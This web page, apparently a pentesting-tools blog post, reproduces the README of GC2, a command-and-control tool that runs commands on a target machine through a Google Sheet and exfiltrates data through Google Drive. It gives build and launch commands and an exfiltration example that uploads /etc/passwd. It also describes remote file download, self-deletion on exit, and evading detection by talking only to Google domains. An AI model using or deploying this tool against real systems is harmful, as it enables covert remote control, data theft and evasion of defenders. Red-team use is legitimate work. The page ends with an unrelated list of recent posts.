GC2 – Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrate data using Google Drive

GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive.

Why

This program has been developed in order to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, …) during Red Teaming activities.

Furthermore, the program will interact only with Google’s domains (*.google.com) to make detection more difficult.

PS: Please don’t upload the compiled binary on VirusTotal 🙂

Set up

  1. Build executable
    git clone https://github.com/looCiprian/GC2-sheet
    cd GC2-sheet
    go build gc2-sheet.go
  2. Create a new google “service account”Create a new google “service account” using https://console.cloud.google.com/, create a .json key file for the service account
  3. Enable Google Sheet API and Google Drive APIEnable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go
  4. Set up Google Sheet and Google DriveCreate a new Google Sheet and add the service account to the editor group of the spreadsheet (to add the service account use its email)

    Create a new Google Drive folder and add the service account to the editor group of the folder (to add the service account use its email)

  5. Start the C2
    gc2-sheet --key <GCP service account credential file .JSON > --sheet <Google sheet ID> --drive <Google drive ID>
    

    PS: you can also hardcode the parameters in the code, so you will upload only the executable on the target machine (look at comments in root.go and authentication.go)

Features

  • Command execution using Google Sheet as a console
  • Download files on the target using Google Drive
  • Data exfiltration using Google Drive
  • Exit

Command execution

The program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in the column “A”, and the output will be printed in the column “B”.

Data exfiltration file

Special commands are reserved to perform the upload and download to the target machine

From Target to Google Drive
upload;<remote path>
Example:
upload;/etc/passwd

Download file

Special commands are reserved to perform the upload and download to the target machine

From Google Drive to Target
download;<google drive file id>;<remote path>
Example:
download;<file ID>;/home/user/downloaded.txt

Exit

By sending the command exit, the program will delete itself from the target and kill its process

PS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case the symlink is deleted.

WorkFlow

Demo

Demo

Disclaimer

The owner of this project is not responsible for any illegal usage of this program.

Support the project

Pull request or 


Original repository: https://github.com/looCiprian/GC2-sheet

click here to read full Article

Read More on Pentesting Tools

Leave a Comment

Recent Posts

rewrite this tittle: Understanding Peer-to-Peer Crypto Trading: Benefits and Threats

Write a AI detection pass, persuasive, cickable, catchy, well structured and seo optimized article with… Read More

2 weeks ago

Human Art Will Become More Valuable with the Help of AI

AI Will Make Human Art More Valuable AI models are increasing in popularity and value… Read More

1 year ago

Report Claims UK Government to Restrict TikTok Usage on Smartphones

UK Set to Announce Ban on TikTok on Government Smartphones: Report Following in the footsteps… Read More

1 year ago

The Potential Impact of ChatGPT and Generative AI on Travel

How ChatGPT and Generative AI Could Change the Way We Travel The travel industry is… Read More

1 year ago

Unraveling the Enigma of Pluto: Is It a Dwarf Planet, Comet, or Asteroid? Uncover the Facts.

The curious case of Pluto! Is it a dwarf planet, comet or an asteroid? This… Read More

1 year ago

A LinkedIn Connection Request From a Spy

A Spy Wants to Connect with You on LinkedIn: How to Spot and Avoid Fake… Read More

1 year ago